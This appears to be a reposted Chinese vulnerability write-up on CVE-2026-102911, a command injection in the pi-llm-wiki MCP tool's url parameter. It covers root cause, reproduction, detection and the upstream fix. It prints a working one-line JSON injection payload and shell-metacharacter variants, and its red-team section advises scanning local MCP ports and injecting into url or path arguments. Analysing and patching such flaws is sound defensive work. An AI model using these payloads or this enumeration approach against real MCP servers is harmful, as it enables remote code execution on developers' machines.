(9.9分)CVE-2026-102911:pi-llm-wikiMCP工具命令注入RCE

admin 2026-10-04 04:45:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析CVE-2026-102911漏洞,该漏洞影响pi-llm-wikiMCP工具,为CVSS9.9的OS命令注入漏洞。根因是将用户可控url参数直接拼入sh-c命令,PoC已公开。建议升级至0.11.8版本,排查MCP工具中类似拼接shell的模式,并采用execFile替代sh-c调用。红队视角指出MCP工具是新的攻击面,需重点排查。 综合评分: 92 文章分类: 漏洞分析,红队,代码审计,安全工具


(9.9分) CVE-2026-102911:pi-llm-wiki MCP工具命令注入RCE

红队安全圈 红队安全圈

红队安全圈

2026年9月30日 20:13 重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

MCP 工具爆出 CVSS 9.9 命令注入,一行 payload 弹计算器,PoC 已公开。AI Agent 生态的新攻击面,值得当模板排查一遍。

01  引言

AI Agent 生态的 MCP 工具正在成为新的攻击面。CVE-2026-102911 是 zosmaai pi-llm-wiki(一个给 pi 用的自维护 Obsidian 知识库)的 wiki_capture_source MCP 工具里的 OS 命令注入,CVSS 9.9,网络可达、无需权限、无需交互,PoC 已经公开——payload 一发,macOS 上直接弹出计算器。修复版本 0.11.8 已发布。这类把字符串拼进 sh -c 的洞,在 MCP 工具里大概率不止这一家,值得当作模板来审。

02  漏洞速览

漏洞编号CVE-2026-102911

影响产品pi-llm-wiki ≤ 0.11.7

漏洞类型OS 命令注入(CWE-78)

危害等级9.9(Critical)

攻击前提能访问 MCP 接口即可

公开 PoC有,已验证可用

修复版本0.11.8

03  漏洞成因

根因是教科书级的:把攻击者可控的 url 参数直接插值进 sh -c 的命令字符串。

数据流向(从入口到 sink):

  1. mcp/index.ts:317 — 工具参数 url 进入2. mcp/operations.ts:220 — 走 captureUrl(execApi, paths, input.url)3. source-packet.ts:104 — 进入 extractUrlContent(pi, url, signal)4. source-extractors.ts:274 — 关键插值点:

sh -c uvx –from \

  ‘markitdown[docx,pdf]’ markitdown \

  “${source}” 2>/dev/null || echo “”

source 就是用户传的 url,被套在双引号里塞进 shell 字符串。双引号挡不住 shell——”; open -a Calculator; # 这类 payload 闭合引号、终止命令、注入新命令,尾部 # 把剩下的注释掉。最终在 mcp/exec.ts:17 落到 spawn(command, args),以 pi-llm-wiki 服务进程的权限执行。

同一文件里还有第二个隐患:hasMarkItDown() 探测 uvx 是否存在,也是走 sh -c which uvx。

04  PoC/EXP 讲解

PoC 已公开且验证可用,核心 payload 只有一行 JSON:

{“text”:”test”,  “url”:”\”;open -a Calculator;# “,  “file_path”:”test”,”title”:”test”}

复现步骤:

  1. 起受影响版本的服务端(MCP Inspector 方式):

pnpm installpnpm build:mcpmkdir -p /tmp/pi-llm-wiki-testWIKI_ROOT=/tmp/pi-llm-wiki-test \pnpm dlx @modelcontextprotocol/\  inspector node “$PWD/dist/mcp/index.js”

  1. 先调 wiki_bootstrap 创建工作区,再对 wiki_capture_source 发上面的参数。3. 结果:工具返回 Success,服务端主机弹出 macOS 计算器——任意 OS 命令以服务进程权限执行成功。

换掉 open -a Calculator 就是任意命令:反弹 shell、读文件、横向,取决于服务进程权限。

05  检测与排查

查自己装的版本:

npm ls pi-llm-wiki

低于 0.11.8 就中招。代码层面搜这个指纹——sh -c 加模板字符串插值外部输入:

grep -rn ‘sh.*-c.*uvx’ \  node_modules/pi-llm-wiki/

更广的排查思路:对自用的 MCP server 全部过一遍,凡是有 spawn(“sh”, [“-c”, …]) 且参数来自工具入参的,先按有洞处理。

06  修复建议

升级到 0.11.8。官方 patch 也是这么改的:去掉 sh -c,直接 execFile/spawn 调 uvx,shell: false,参数数组分开传:

[“–from”,  “markitdown[docx,pdf]”,  “markitdown”, source]

stderr 和 fallback 在应用层处理,不用 shell 重定向和 ||。纵深防御:只接受 http:/https: 协议的 URL,拒绝含控制字符的输入,MCP 服务以最小权限跑。修复后验证:重放上面的 payload,工具应报错或正常返回,计算器不弹。

07  红队视角

这个洞的实际价值不在 pi-llm-wiki 本身(599 star 的工具,装的人有限),而在它的攻击模型:

MCP 是新的本地 RPC。Agent 框架里 MCP server 经常无鉴权跑在本地端口,任何能到达这个端口的进程都能调工具。配合浏览器 CSRF 式的跨站调用,攻击面比想象的大。

AI 工具拼接 shell 是一类洞。任何把 LLM/用户输入插进 sh -c 的 MCP 工具都值得排查——下载器、转码器、URL 抓取器是重灾区,因为它们天生要调系统命令。

利用门槛极低:网络可达 + 无需认证 + 一行 payload。在 red team 场景里,拿下开发者工作站的一条捷径就是扫本机 MCP 端口然后打这类工具。

实战建议:写个快速枚举脚本,对常见 MCP server 端口发 tools/list,拿到工具签名后重点看参数里带 url/path 的,逐个试 shell 元字符。这类注入 payload 不用花哨,”; id; # 的变体够用。

08  POC 链接

https://github.com/zosmaai/pi-llm-wiki/issues/185

https://github.com/zosmaai/pi-llm-wiki/commit/360867034e79175b45c8e04a98e4ca712bbaca35

说明:漏洞报告(含完整复现步骤)与官方修复 patch

如果文章对您有收获,欢迎关注、点赞、推荐、转发。

— END —


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:红队安全圈 红队安全圈 红队安全圈《(9.9分) CVE-2026-102911:pi-llm-wiki MCP工具命令注入RCE》

IR-ToolkitV0.2添加GUI 网络安全文章

IR-ToolkitV0.2添加GUI

文章总结: IR-ToolkitV0.2版本更新,核心变化是从采集加分析转变为采集加证据加查询加关联加调查工作台。新增Web调查工作台,包含Overview、T
评论:0   参与:  0